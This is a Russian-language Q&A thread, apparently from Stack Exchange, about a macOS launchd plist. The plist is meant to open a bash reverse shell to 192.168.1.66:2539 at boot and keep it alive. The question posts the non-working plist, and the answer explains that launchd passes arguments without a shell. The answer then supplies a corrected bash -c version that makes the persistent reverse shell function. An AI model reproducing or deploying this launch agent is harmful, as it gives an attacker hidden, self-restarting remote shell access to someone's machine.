Launchd файл для обратного потока
У кого-нибудь есть идеи, почему это не в состоянии выполнить соединение обратного потока при загрузке?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.unix.bash.plist</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-i</string>
<string>>& /dev/tcp/192.168.1.66/2539 0>& 1</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>100</integer>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
1 ответ
Перенаправления, такие как <
или же >
(и в большинстве Unixes, даже /dev/tcp
специальные файлы) являются частью командного синтаксиса оболочки и могут использоваться только внутри оболочки, которая их поддерживает. Однако launchd не использует никакой оболочки для запуска сервисов - он создает процесс напрямую, используя execve()
или аналогичные функции, передавая список аргументов, которые не интерпретируются далее.
В этом случае, /bin/bash
выполняется и получает следующие аргументы:
- argv [0] = "
/bin/bash
" - argv [1] = "
-i
" - argv [2] = "
>& /dev/tcp/192.168.1.66/2539 0>& 1
" - argv [3] = NULL
Bash интерпретирует второй аргумент (argv[2]) как имя файла сценария оболочки для запуска; поскольку такого файла не существует, bash завершает работу.
Теперь, если вам нужно, чтобы команда интерпретировалась оболочкой, вам нужно будет запустить оболочку вручную:
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.1.66/2539 0>& 1</string>
</array>